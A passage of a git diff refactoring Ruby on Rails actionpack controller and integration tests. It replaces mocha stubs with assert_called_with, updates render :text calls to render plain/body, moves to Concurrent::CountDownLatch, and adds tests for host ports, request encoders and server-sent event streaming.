@session.patch_via_redirect(path, args, headers) + end end end def test_deprecated_put_via_redirect path = "/somepath"; args = { id: '1' }; headers = { "X-Test-Header" => "testvalue" } - @session.expects(:request_via_redirect).with(:put, path, args, headers) - assert_deprecated do - @session.put_via_redirect(path, args, headers) + assert_called_with @session, :request_via_redirect, [:put, path, args, headers] do + assert_deprecated do + @session.put_via_redirect(path, args, headers) + end end end def test_deprecated_delete_via_redirect path = "/somepath"; args = { id: '1' }; headers = { "X-Test-Header" => "testvalue" } - @session.expects(:request_via_redirect).with(:delete, path, args, headers) - assert_deprecated do - @session.delete_via_redirect(path, args, headers) + assert_called_with @session, :request_via_redirect, [:delete, path, args, headers] do + assert_deprecated do + @session.delete_via_redirect(path, args, headers) + end end end def test_get path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:get, path, params: params, headers: headers) - @session.get(path, params: params, headers: headers) + + assert_called_with @session, :process, [:get, path, params: params, headers: headers] do + @session.get(path, params: params, headers: headers) + end end def test_get_with_env_and_headers path = "/index"; params = "blah"; headers = { location: 'blah' }; env = { 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest' } - @session.expects(:process).with(:get, path, params: params, headers: headers, env: env) - @session.get(path, params: params, headers: headers, env: env) + assert_called_with @session, :process, [:get, path, params: params, headers: headers, env: env] do + @session.get(path, params: params, headers: headers, env: env) + end end def test_deprecated_get path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:get, path, params: params, headers: headers) - assert_deprecated { - @session.get(path, params, headers) - } + + assert_called_with @session, :process, [:get, path, params: params, headers: headers] do + assert_deprecated { + @session.get(path, params, headers) + } + end end def test_post path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:post, path, params: params, headers: headers) - assert_deprecated { - @session.post(path, params, headers) - } + assert_called_with @session, :process, [:post, path, params: params, headers: headers] do + assert_deprecated { + @session.post(path, params, headers) + } + end end def test_deprecated_post path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:post, path, params: params, headers: headers) - @session.post(path, params: params, headers: headers) + assert_called_with @session, :process, [:post, path, params: params, headers: headers] do + @session.post(path, params: params, headers: headers) + end end def test_patch path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:patch, path, params: params, headers: headers) - @session.patch(path, params: params, headers: headers) + assert_called_with @session, :process, [:patch, path, params: params, headers: headers] do + @session.patch(path, params: params, headers: headers) + end end def test_deprecated_patch path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:patch, path, params: params, headers: headers) - assert_deprecated { - @session.patch(path, params, headers) - } + assert_called_with @session, :process, [:patch, path, params: params, headers: headers] do + assert_deprecated { + @session.patch(path, params, headers) + } + end end def test_put path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:put, path, params: params, headers: headers) - @session.put(path, params: params, headers: headers) + assert_called_with @session, :process, [:put, path, params: params, headers: headers] do + @session.put(path, params: params, headers: headers) + end end def test_deprecated_put path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:put, path, params: params, headers: headers) - assert_deprecated { - @session.put(path, params, headers) - } + assert_called_with @session, :process, [:put, path, params: params, headers: headers] do + assert_deprecated { + @session.put(path, params, headers) + } + end end def test_delete path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:delete, path, params: params, headers: headers) - assert_deprecated { - @session.delete(path,params,headers) - } + assert_called_with @session, :process, [:delete, path, params: params, headers: headers] do + assert_deprecated { + @session.delete(path,params,headers) + } + end end def test_deprecated_delete path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:delete, path, params: params, headers: headers) - @session.delete(path, params: params, headers: headers) + assert_called_with @session, :process, [:delete, path, params: params, headers: headers] do + @session.delete(path, params: params, headers: headers) + end end def test_head path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:head, path, params: params, headers: headers) - @session.head(path, params: params, headers: headers) + assert_called_with @session, :process, [:head, path, params: params, headers: headers] do + @session.head(path, params: params, headers: headers) + end end def deprecated_test_head path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:head, path, params: params, headers: headers) - assert_deprecated { - @session.head(path, params, headers) - } + assert_called_with @session, :process, [:head, path, params: params, headers: headers] do + assert_deprecated { + @session.head(path, params, headers) + } + end end def test_xml_http_request_get path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:get, path, params: params, headers: headers, xhr: true) - @session.get(path, params: params, headers: headers, xhr: true) + assert_called_with @session, :process, [:get, path, params: params, headers: headers, xhr: true] do + @session.get(path, params: params, headers: headers, xhr: true) + end end def test_deprecated_xml_http_request_get path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:get, path, params: params, headers: headers, xhr: true) - @session.get(path, params: params, headers: headers, xhr: true) + assert_called_with @session, :process, [:get, path, params: params, headers: headers, xhr: true] do + @session.get(path, params: params, headers: headers, xhr: true) + end end def test_deprecated_args_xml_http_request_get path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:get, path, params: params, headers: headers, xhr: true) - assert_deprecated(/xml_http_request/) { - @session.xml_http_request(:get, path, params, headers) - } + assert_called_with @session, :process, [:get, path, params: params, headers: headers, xhr: true] do + assert_deprecated(/xml_http_request/) { + @session.xml_http_request(:get, path, params, headers) + } + end end def test_xml_http_request_post path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:post, path, params: params, headers: headers, xhr: true) - @session.post(path, params: params, headers: headers, xhr: true) + assert_called_with @session, :process, [:post, path, params: params, headers: headers, xhr: true] do + @session.post(path, params: params, headers: headers, xhr: true) + end end def test_deprecated_xml_http_request_post path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:post, path, params: params, headers: headers, xhr: true) - @session.post(path, params: params, headers: headers, xhr: true) + assert_called_with @session, :process, [:post, path, params: params, headers: headers, xhr: true] do + @session.post(path, params: params, headers: headers, xhr: true) + end end def test_deprecated_args_xml_http_request_post path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:post, path, params: params, headers: headers, xhr: true) - assert_deprecated(/xml_http_request/) { @session.xml_http_request(:post,path,params,headers) } + assert_called_with @session, :process, [:post, path, params: params, headers: headers, xhr: true] do + assert_deprecated(/xml_http_request/) { @session.xml_http_request(:post,path,params,headers) } + end end def test_xml_http_request_patch path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:patch, path, params: params, headers: headers, xhr: true) - @session.patch(path, params: params, headers: headers, xhr: true) + assert_called_with @session, :process, [:patch, path, params: params, headers: headers, xhr: true] do + @session.patch(path, params: params, headers: headers, xhr: true) + end end def test_deprecated_xml_http_request_patch path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:patch, path, params: params, headers: headers, xhr: true) - @session.patch(path, params: params, headers: headers, xhr: true) + assert_called_with @session, :process, [:patch, path, params: params, headers: headers, xhr: true] do + @session.patch(path, params: params, headers: headers, xhr: true) + end end def test_deprecated_args_xml_http_request_patch path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:patch, path, params: params, headers: headers, xhr: true) - assert_deprecated(/xml_http_request/) { @session.xml_http_request(:patch,path,params,headers) } + assert_called_with @session, :process, [:patch, path, params: params, headers: headers, xhr: true] do + assert_deprecated(/xml_http_request/) { @session.xml_http_request(:patch,path,params,headers) } + end end def test_xml_http_request_put path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:put, path, params: params, headers: headers, xhr: true) - @session.put(path, params: params, headers: headers, xhr: true) + assert_called_with @session, :process, [:put, path, params: params, headers: headers, xhr: true] do + @session.put(path, params: params, headers: headers, xhr: true) + end end def test_deprecated_xml_http_request_put path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:put, path, params: params, headers: headers, xhr: true) - @session.put(path, params: params, headers: headers, xhr: true) + assert_called_with @session, :process, [:put, path, params: params, headers: headers, xhr: true] do + @session.put(path, params: params, headers: headers, xhr: true) + end end def test_deprecated_args_xml_http_request_put path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:put, path, params: params, headers: headers, xhr: true) - assert_deprecated(/xml_http_request/) { @session.xml_http_request(:put, path, params, headers) } + assert_called_with @session, :process, [:put, path, params: params, headers: headers, xhr: true] do + assert_deprecated(/xml_http_request/) { @session.xml_http_request(:put, path, params, headers) } + end end def test_xml_http_request_delete path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:delete, path, params: params, headers: headers, xhr: true) - @session.delete(path, params: params, headers: headers, xhr: true) + assert_called_with @session, :process, [:delete, path, params: params, headers: headers, xhr: true] do + @session.delete(path, params: params, headers: headers, xhr: true) + end end def test_deprecated_xml_http_request_delete path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:delete, path, params: params, headers: headers, xhr: true) - assert_deprecated { @session.xml_http_request(:delete, path, params: params, headers: headers) } + assert_called_with @session, :process, [:delete, path, params: params, headers: headers, xhr: true] do + assert_deprecated { @session.xml_http_request(:delete, path, params: params, headers: headers) } + end end def test_deprecated_args_xml_http_request_delete path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:delete, path, params: params, headers: headers, xhr: true) - assert_deprecated(/xml_http_request/) { @session.xml_http_request(:delete, path, params, headers) } + assert_called_with @session, :process, [:delete, path, params: params, headers: headers, xhr: true] do + assert_deprecated(/xml_http_request/) { @session.xml_http_request(:delete, path, params, headers) } + end end def test_xml_http_request_head path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:head, path, params: params, headers: headers, xhr: true) - @session.head(path, params: params, headers: headers, xhr: true) + assert_called_with @session, :process, [:head, path, params: params, headers: headers, xhr: true] do + @session.head(path, params: params, headers: headers, xhr: true) + end end def test_deprecated_xml_http_request_head path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:head, path, params: params, headers: headers, xhr: true) - assert_deprecated(/xml_http_request/) { @session.xml_http_request(:head, path, params: params, headers: headers) } + assert_called_with @session, :process, [:head, path, params: params, headers: headers, xhr: true] do + assert_deprecated(/xml_http_request/) { @session.xml_http_request(:head, path, params: params, headers: headers) } + end end def test_deprecated_args_xml_http_request_head path = "/index"; params = "blah"; headers = { location: 'blah' } - @session.expects(:process).with(:head, path, params: params, headers: headers, xhr: true) - assert_deprecated { @session.xml_http_request(:head, path, params, headers) } + assert_called_with @session, :process, [:head, path, params: params, headers: headers, xhr: true] do + assert_deprecated { @session.xml_http_request(:head, path, params, headers) } + end end end class IntegrationTestTest < ActiveSupport::TestCase def setup @test = ::ActionDispatch::IntegrationTest.new(:app) - @test.class.stubs(:fixture_table_names).returns([]) - @session = @test.open_session end def test_opens_new_session session1 = @test.open_session { |sess| } session2 = @test.open_session # implicit session - assert_respond_to session1, :assert_template, "open_session makes assert_template available" - assert_respond_to session2, :assert_template, "open_session makes assert_template available" assert !session1.equal?(session2) end @@ -342,17 +388,11 @@ end # Tests that integration tests don't call Controller test methods for processing. # Integration tests have their own setup and teardown. class IntegrationTestUsesCorrectClass < ActionDispatch::IntegrationTest - def self.fixture_table_names - [] - end - def test_integration_methods_called reset! - @integration_session.stubs(:generic_url_rewriter) - @integration_session.stubs(:process) %w( get post head patch put delete ).each do |verb| - assert_nothing_raised("'#{verb}' should use integration test methods") { __send__(verb, '/') } + assert_nothing_raised { __send__(verb, '/') } end end end @@ -361,28 +401,30 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest class IntegrationController < ActionController::Base def get respond_to do |format| - format.html { render :text => "OK", :status => 200 } - format.js { render :text => "JS OK", :status => 200 } + format.html { render plain: "OK", status: 200 } + format.js { render plain: "JS OK", status: 200 } format.xml { render :xml => "<root></root>", :status => 200 } + format.rss { render :xml => "<root></root>", :status => 200 } + format.atom { render :xml => "<root></root>", :status => 200 } end end def get_with_params - render :text => "foo: #{params[:foo]}", :status => 200 + render plain: "foo: #{params[:foo]}", status: 200 end def post - render :text => "Created", :status => 201 + render plain: "Created", status: 201 end def method - render :text => "method: #{request.method.downcase}" + render plain: "method: #{request.method.downcase}" end def cookie_monster cookies["cookie_1"] = nil cookies["cookie_3"] = "chocolate" - render :text => "Gone", :status => 410 + render plain: "Gone", status: 410 end def set_cookie @@ -391,7 +433,7 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest end def get_cookie - render :text => cookies["foo"] + render plain: cookies["foo"] end def redirect @@ -420,19 +462,21 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest end end - def test_get_xml - with_test_route_set do - get "/get", params: {}, headers: {"HTTP_ACCEPT" => "application/xml"} - assert_equal 200, status - assert_equal "OK", status_message - assert_response 200 - assert_response :success - assert_response :ok - assert_equal({}, cookies.to_hash) - assert_equal "<root></root>", body - assert_equal "<root></root>", response.body - assert_instance_of Nokogiri::XML::Document, html_document - assert_equal 1, request_count + def test_get_xml_rss_atom + %w[ application/xml application/rss+xml application/atom+xml ].each do |mime_string| + with_test_route_set do + get "/get", headers: {"HTTP_ACCEPT" => mime_string} + assert_equal 200, status + assert_equal "OK", status_message + assert_response 200 + assert_response :success + assert_response :ok + assert_equal({}, cookies.to_hash) + assert_equal "<root></root>", body + assert_equal "<root></root>", response.body + assert_instance_of Nokogiri::XML::Document, html_document + assert_equal 1, request_count + end end end @@ -688,8 +732,10 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest set.draw do get 'moved' => redirect('/method') - match ':action', :to => controller, :via => [:get, :post], :as => :action - get 'get/:action', :to => controller, :as => :get_action + ActiveSupport::Deprecation.silence do + match ':action', :to => controller, :via => [:get, :post], :as => :action + get 'get/:action', :to => controller, :as => :get_action + end end self.singleton_class.include(set.url_helpers) @@ -757,12 +803,31 @@ class MetalIntegrationTest < ActionDispatch::IntegrationTest assert_equal "http://test.com/", @request.env["HTTP_REFERER"] end + def test_ignores_common_ports_in_host + get "http://test.com" + assert_equal "test.com", @request.env["HTTP_HOST"] + + get "https://test.com" + assert_equal "test.com", @request.env["HTTP_HOST"] + end + + def test_keeps_uncommon_ports_in_host + get "http://test.com:123" + assert_equal "test.com:123", @request.env["HTTP_HOST"] + + get "http://test.com:443" + assert_equal "test.com:443", @request.env["HTTP_HOST"] + + get "https://test.com:80" + assert_equal "test.com:80", @request.env["HTTP_HOST"] + end + end class ApplicationIntegrationTest < ActionDispatch::IntegrationTest class TestController < ActionController::Base def index - render :text => "index" + render plain: "index" end end @@ -849,7 +914,7 @@ end class EnvironmentFilterIntegrationTest < ActionDispatch::IntegrationTest class TestController < ActionController::Base def post - render :text => "Created", :status => 201 + render plain: "Created", status: 201 end end @@ -882,15 +947,15 @@ end class UrlOptionsIntegrationTest < ActionDispatch::IntegrationTest class FooController < ActionController::Base def index - render :text => "foo#index" + render plain: "foo#index" end def show - render :text => "foo#show" + render plain: "foo#show" end def edit - render :text => "foo#show" + render plain: "foo#show" end end @@ -900,7 +965,7 @@ class UrlOptionsIntegrationTest < ActionDispatch::IntegrationTest end def index - render :text => "foo#index" + render plain: "foo#index" end end @@ -1044,7 +1109,12 @@ class IntegrationRequestsWithoutSetup < ActionDispatch::IntegrationTest def test_request with_routing do |routes| - routes.draw { get ':action' => FooController } + routes.draw do + ActiveSupport::Deprecation.silence do + get ':action' => FooController + end + end + get '/ok' assert_response 200 @@ -1065,3 +1135,77 @@ class IntegrationRequestsWithSessionSetup < ActionDispatch::IntegrationTest assert_equal({"user_name"=>"david"}, cookies.to_hash) end end + +class IntegrationRequestEncodersTest < ActionDispatch::IntegrationTest + class FooController < ActionController::Base + def foos_json + render json: params.permit(:foo) + end + + def foos_wibble + render plain: 'ok' + end + end + + def test_encoding_as_json + post_to_foos as: :json do + assert_response :success + assert_match 'foos_json.json', request.path + assert_equal 'application/json', request.content_type + assert_equal({ 'foo' => 'fighters' }, request.request_parameters) + assert_equal({ 'foo' => 'fighters' }, response.parsed_body) + end + end + + def test_encoding_as_without_mime_registration + assert_raise ArgumentError do + ActionDispatch::IntegrationTest.register_encoder :wibble + end + end + + def test_registering_custom_encoder + Mime::Type.register 'text/wibble', :wibble + + ActionDispatch::IntegrationTest.register_encoder(:wibble, + param_encoder: -> params { params }) + + post_to_foos as: :wibble do + assert_response :success + assert_match 'foos_wibble.wibble', request.path + assert_equal 'text/wibble', request.content_type + assert_equal Hash.new, request.request_parameters # Unregistered MIME Type can't be parsed. + assert_equal 'ok', response.parsed_body + end + ensure + Mime::Type.unregister :wibble + end + + def test_parsed_body_without_as_option + with_routing do |routes| + routes.draw do + ActiveSupport::Deprecation.silence do + get ':action' => FooController + end + end + + get '/foos_json.json', params: { foo: 'heyo' } + + assert_equal({ 'foo' => 'heyo' }, response.parsed_body) + end + end + + private + def post_to_foos(as:) + with_routing do |routes| + routes.draw do + ActiveSupport::Deprecation.silence do + post ':action' => FooController + end + end + + post "/foos_#{as}", params: { foo: 'fighters' }, as: as + + yield + end + end +end diff --git a/actionpack/test/controller/live_stream_test.rb b/actionpack/test/controller/live_stream_test.rb index 0c65270ec1..5977124594 100644 --- a/actionpack/test/controller/live_stream_test.rb +++ b/actionpack/test/controller/live_stream_test.rb @@ -1,5 +1,5 @@ require 'abstract_unit' -require 'active_support/concurrency/latch' +require 'concurrent/atomic/count_down_latch' Thread.abort_on_exception = true module ActionController @@ -112,7 +112,7 @@ module ActionController class TestController < ActionController::Base include ActionController::Live - attr_accessor :latch, :tc + attr_accessor :latch, :tc, :error_latch def self.controller_path 'test' @@ -125,7 +125,7 @@ module ActionController end def render_text - render :text => 'zomg' + render plain: 'zomg' end def default_header @@ -145,14 +145,13 @@ module ActionController response.headers['Content-Type'] = 'text/event-stream' %w{ hello world }.each do |word| response.stream.write word - latch.await + latch.wait end response.stream.close end def thread_locals tc.assert_equal 'aaron', Thread.current[:setting] - tc.assert_not_equal Thread.current.object_id, Thread.current[:originating_thread] response.headers['Content-Type'] = 'text/event-stream' %w{ hello world }.each do |word| @@ -162,7 +161,7 @@ module ActionController end def with_stale - render text: 'stale' if stale?(etag: "123", template: false) + render plain: 'stale' if stale?(etag: "123", template: false) end def exception_in_view @@ -204,6 +203,12 @@ module ActionController end def overfill_buffer_and_die + logger = ActionController::Base.logger || Logger.new($stdout) + response.stream.on_error do + logger.warn 'Error while streaming.' + error_latch.count_down + end + # Write until the buffer is full. It doesn't expose that # information directly, so we must hard-code its size: 10.times do @@ -212,7 +217,7 @@ module ActionController # .. plus one more, because the #each frees up a slot: response.stream.write '.' - latch.release + latch.count_down # This write will block, and eventually raise response.stream.write 'x' @@ -233,7 +238,7 @@ module ActionController end logger.info 'Work complete' - latch.release + latch.count_down end end @@ -241,7 +246,8 @@ module ActionController def assert_stream_closed assert response.stream.closed?, 'stream should be closed' - assert response.sent?, 'stream should be sent' + assert response.committed?, 'response should be committed' + assert response.sent?, 'response should be sent' end def capture_log_output @@ -255,21 +261,21 @@ module ActionController end end + def setup + super + + def @controller.new_controller_thread + Thread.new { yield } + end + end + def test_set_cookie - @controller = TestController.new get :set_cookie assert_equal({'hello' => 'world'}, @response.cookies) assert_equal "hello world", @response.body end - def test_set_response! - @controller.set_response!(@request) - assert_kind_of(Live::Response, @controller.response) - assert_equal @request, @controller.response.request - end - def test_write_to_stream - @controller = TestController.new get :basic_stream assert_equal "helloworld", @response.body assert_equal 'text/event-stream', @response.headers['Content-Type'] @@ -278,78 +284,65 @@ module ActionController def test_async_stream rubinius_skip "https://github.com/rubinius/rubinius/issues/2934" - @controller.latch = ActiveSupport::Concurrency::Latch.new + @controller.latch = Concurrent::CountDownLatch.new parts = ['hello', 'world'] - @controller.request = @request - @controller.response = @response + get :blocking_stream - t = Thread.new(@response) { |resp| + t = Thread.new(response) { |resp| resp.await_commit resp.stream.each do |part| assert_equal parts.shift, part ol = @controller.latch - @controller.latch = ActiveSupport::Concurrency::Latch.new - ol.release + @controller.latch = Concurrent::CountDownLatch.new + ol.count_down end } - @controller.process :blocking_stream - assert t.join(3), 'timeout expired before the thread terminated' end def test_abort_with_full_buffer - @controller.latch = ActiveSupport::Concurrency::Latch.new - - @request.parameters[:format] = 'plain' - @controller.request = @request - @controller.response = @response - - got_error = ActiveSupport::Concurrency::Latch.new - @response.stream.on_error do - ActionController::Base.logger.warn 'Error while streaming' - got_error.release - end - - t = Thread.new(@response) { |resp| - resp.await_commit - _, _, body = resp.to_a - body.each do |part| - @controller.latch.await - body.close - break - end - } + @controller.latch = Concurrent::CountDownLatch.new + @controller.error_latch = Concurrent::CountDownLatch.new capture_log_output do |output| - @controller.process :overfill_buffer_and_die + get :overfill_buffer_and_die, :format => 'plain' + + t = Thread.new(response) { |resp| + resp.await_commit + _, _, body = resp.to_a + body.each do + @controller.latch.wait + body.close + break + end + } + t.join - got_error.await + @controller.error_latch.wait assert_match 'Error while streaming', output.rewind && output.read end end def test_ignore_client_disconnect - @controller.latch = ActiveSupport::Concurrency::Latch.new + @controller.latch = Concurrent::CountDownLatch.new - @controller.request = @request - @controller.response = @response + capture_log_output do |output| + get :ignore_client_disconnect - t = Thread.new(@response) { |resp| - resp.await_commit - _, _, body = resp.to_a - body.each do |part| - body.close - break - end - } + t = Thread.new(response) { |resp| + resp.await_commit + _, _, body = resp.to_a + body.each do + body.close + break + end + } - capture_log_output do |output| - @controller.process :ignore_client_disconnect t.join Timeout.timeout(3) do - @controller.latch.await + @controller.latch.wait end assert_match 'Work complete', output.rewind && output.read end @@ -364,11 +357,8 @@ module ActionController end def test_live_stream_default_header - @controller.request = @request - @controller.response = @response - @controller.process :default_header - _, headers, _ = @response.prepare! - assert headers['Content-Type'] + get :default_header + assert response.headers['Content-Type'] end def test_render_text @@ -406,8 +396,14 @@ module ActionController end def test_exception_callback_when_committed + current_threads = Thread.list + capture_log_output do |output| get :exception_with_callback, format: 'text/event-stream' + + # Wait on the execution of all threads + (Thread.list - current_threads).each(&:join) + assert_equal %(data: "500 Internal Server Error"\n\n), response.body assert_match 'An exception occurred...', output.rewind && output.read assert_stream_closed @@ -437,13 +433,13 @@ module ActionController def test_stale_without_etag get :with_stale - assert_equal 200, @response.status.to_i + assert_equal 200, response.status.to_i end def test_stale_with_etag - @request.if_none_match = Digest::MD5.hexdigest("123") + @request.if_none_match = %(W/"#{Digest::MD5.hexdigest('123')}") get :with_stale - assert_equal 304, @response.status.to_i + assert_equal 304, response.status.to_i end end @@ -454,3 +450,42 @@ module ActionController end end end + +class LiveStreamRouterTest < ActionDispatch::IntegrationTest + class TestController < ActionController::Base + include ActionController::Live + + def index + response.headers['Content-Type'] = 'text/event-stream' + sse = SSE.new(response.stream) + sse.write("{\"name\":\"John\"}") + sse.write({ name: "Ryan" }) + ensure + sse.close + end + end + + def self.call(env) + routes.call(env) + end + + def self.routes + @routes ||= ActionDispatch::Routing::RouteSet.new + end + + routes.draw do + get '/test' => 'live_stream_router_test/test#index' + end + + def app + self.class + end + + test "streaming served through the router" do + get "/test" + + assert_response :ok + assert_match(/data: {\"name\":\"John\"}/, response.body) + assert_match(/data: {\"name\":\"Ryan\"}/, response.body) + end +end diff --git a/actionpack/test/controller/log_subscriber_test.rb b/actionpack/test/controller/log_subscriber_test.rb index 03a4ad7823..57cf2dafdf 100644 --- a/actionpack/test/controller/log_subscriber_test.rb +++ b/actionpack/test/controller/log_subscriber_test.rb @@ -10,7 +10,7 @@ module Another end rescue_from SpecialException do - head :status => 406 + head 406 end before_action :redirector, only: :never_executed @@ -19,7 +19,7 @@ module Another end def show - render :nothing => true + head :ok end def redirector @@ -170,7 +170,7 @@ class ACLogSubscriberTest < ActionController::TestCase def test_process_action_with_view_runtime get :show wait - assert_match(/\(Views: [\d.]+ms\)/, logs[1]) + assert_match(/Completed 200 OK in \d+ms/, logs[1]) end def test_append_info_to_payload_is_called_even_with_exception @@ -183,6 +183,12 @@ class ACLogSubscriberTest < ActionController::TestCase assert_equal "test_value", @controller.last_payload[:test_key] end + def test_process_action_headers + get :show + wait + assert_equal "Rails Testing", @controller.last_payload[:headers]['User-Agent'] + end + def test_process_action_with_filter_parameters @request.env["action_dispatch.parameter_filter"] = [:lifo, :amount] diff --git a/actionpack/test/controller/metal/renderers_test.rb b/actionpack/test/controller/metal/renderers_test.rb new file mode 100644 index 0000000000..007866a559 --- /dev/null +++ b/actionpack/test/controller/metal/renderers_test.rb @@ -0,0 +1,42 @@ +require 'abstract_unit' +require 'active_support/core_ext/hash/conversions' + +class MetalRenderingJsonController < MetalRenderingController + class Model + def to_json(options = {}) + { a: 'b' }.to_json(options) + end + + def to_xml(options = {}) + { a: 'b' }.to_xml(options) + end + end + + use_renderers :json + + def one + render json: Model.new + end + + def two + render xml: Model.new + end +end + +class RenderersMetalTest < ActionController::TestCase + tests MetalRenderingJsonController + + def test_render_json + get :one + assert_response :success + assert_equal({ a: 'b' }.to_json, @response.body) + assert_equal 'application/json', @response.content_type + end + + def test_render_xml + get :two + assert_response :success + assert_equal(" ", @response.body) + assert_equal 'text/plain', @response.content_type + end +end diff --git a/actionpack/test/controller/mime/respond_to_test.rb b/actionpack/test/controller/mime/respond_to_test.rb index 1f5f66dc80..993f4001de 100644 --- a/actionpack/test/controller/mime/respond_to_test.rb +++ b/actionpack/test/controller/mime/respond_to_test.rb @@ -1,45 +1,53 @@ require 'abstract_unit' +require "active_support/log_subscriber/test_helper" class RespondToController < ActionController::Base layout :set_layout + before_action { + case params[:v] + when String then request.variant = params[:v].to_sym + when Array then request.variant = params[:v].map(&:to_sym) + end + } + def html_xml_or_rss respond_to do |type| - type.html { render :text => "HTML" } - type.xml { render :text => "XML" } - type.rss { render :text => "RSS" } - type.all { render :text => "Nothing" } + type.html { render body: "HTML" } + type.xml { render body: "XML" } + type.rss { render body: "RSS" } + type.all { render body: "Nothing" } end end def js_or_html respond_to do |type| - type.html { render :text => "HTML" } - type.js { render :text => "JS" } - type.all { render :text => "Nothing" } + type.html { render body: "HTML" } + type.js { render body: "JS" } + type.all { render body: "Nothing" } end end def json_or_yaml respond_to do |type| - type.json { render :text => "JSON" } - type.yaml { render :text => "YAML" } + type.json { render body: "JSON" } + type.yaml { render body: "YAML" } end end def html_or_xml respond_to do |type| - type.html { render :text => "HTML" } - type.xml { render :text => "XML" } - type.all { render :text => "Nothing" } + type.html { render body: "HTML" } + type.xml { render body: "XML" } + type.all { render body: "Nothing" } end end def json_xml_or_html respond_to do |type| - type.json { render :text => 'JSON' } + type.json { render body: 'JSON' } type.xml { render :xml => 'XML' } - type.html { render :text => 'HTML' } + type.html { render body: 'HTML' } end end @@ -48,14 +56,14 @@ class RespondToController < ActionController::Base request.format = :xml respond_to do |type| - type.html { render :text => "HTML" } - type.xml { render :text => "XML" } + type.html { render body: "HTML" } + type.xml { render body: "XML" } end end def just_xml respond_to do |type| - type.xml { render :text => "XML" } + type.xml { render body: "XML" } end end @@ -66,6 +74,14 @@ class RespondToController < ActionController::Base end end + def missing_templates + respond_to do |type| + # This test requires a block that is empty + type.json { } + type.xml + end + end + def using_defaults_with_type_list respond_to(:html, :xml) end @@ -73,52 +89,52 @@ class RespondToController < ActionController::Base def using_defaults_with_all respond_to do |type| type.html - type.all{ render text: "ALL" } + type.all { render body: "ALL" } end end def made_for_content_type respond_to do |type| - type.rss { render :text => "RSS" } - type.atom { render :text => "ATOM" } - type.all { render :text => "Nothing" } + type.rss { render body: "RSS" } + type.atom { render body: "ATOM" } + type.all { render body: "Nothing" } end end def custom_type_handling respond_to do |type| - type.html { render :text => "HTML" } - type.custom("application/crazy-xml") { render :text => "Crazy XML" } - type.all { render :text => "Nothing" } + type.html { render body: "HTML" } + type.custom("application/crazy-xml") { render body: "Crazy XML" } + type.all { render body: "Nothing" } end end def custom_constant_handling respond_to do |type| - type.html { render :text => "HTML" } - type.mobile { render :text => "Mobile" } + type.html { render body: "HTML" } + type.mobile { render body: "Mobile" } end end def custom_constant_handling_without_block respond_to do |type| - type.html { render :text => "HTML" } + type.html { render body: "HTML" } type.mobile end end def handle_any respond_to do |type| - type.html { render :text => "HTML" } - type.any(:js, :xml) { render :text => "Either JS or XML" } + type.html { render body: "HTML" } + type.any(:js, :xml) { render body: "Either JS or XML" } end end def handle_any_any respond_to do |type| - type.html { render :text => 'HTML' } - type.any { render :text => 'Whatever you ask for, I got it' } + type.html { render body: 'HTML' } + type.any { render body: 'Whatever you ask for, I got it' } end end @@ -152,22 +168,29 @@ class RespondToController < ActionController::Base end end - def variant_with_implicit_rendering + def variant_with_implicit_template_rendering + # This has exactly one variant template defined in the file system (+mobile.html.erb), + # which raises the regular MissingTemplate error for other variants. + end + + def variant_without_implicit_template_rendering + # This differs from the above in that it does not have any templates defined in the file + # system, which triggers the ImplicitRender (204 No Content) behavior. end def variant_with_format_and_custom_render request.variant = :mobile respond_to do |type| - type.html { render text: "mobile" } + type.html { render body: "mobile" } end end def multiple_variants_for_format respond_to do |type| type.html do |html| - html.tablet { render text: "tablet" } - html.phone { render text: "phone" } + html.tablet { render body: "tablet" } + html.phone { render body: "phone" } end end end @@ -175,7 +198,7 @@ class RespondToController < ActionController::Base def variant_plus_none_for_format respond_to do |format| format.html do |variant| - variant.phone { render text: "phone" } + variant.phone { render body: "phone" } variant.none end end @@ -183,9 +206,9 @@ class RespondToController < ActionController::Base def variant_inline_syntax respond_to do |format| - format.js { render text: "js" } - format.html.none { render text: "none" } - format.html.phone { render text: "phone" } + format.js { render body: "js" } + format.html.none { render body: "none" } + format.html.phone { render body: "phone" } end end @@ -200,8 +223,8 @@ class RespondToController < ActionController::Base def variant_any respond_to do |format| format.html do |variant| - variant.any(:tablet, :phablet){ render text: "any" } - variant.phone { render text: "phone" } + variant.any(:tablet, :phablet){ render body: "any" } + variant.phone { render body: 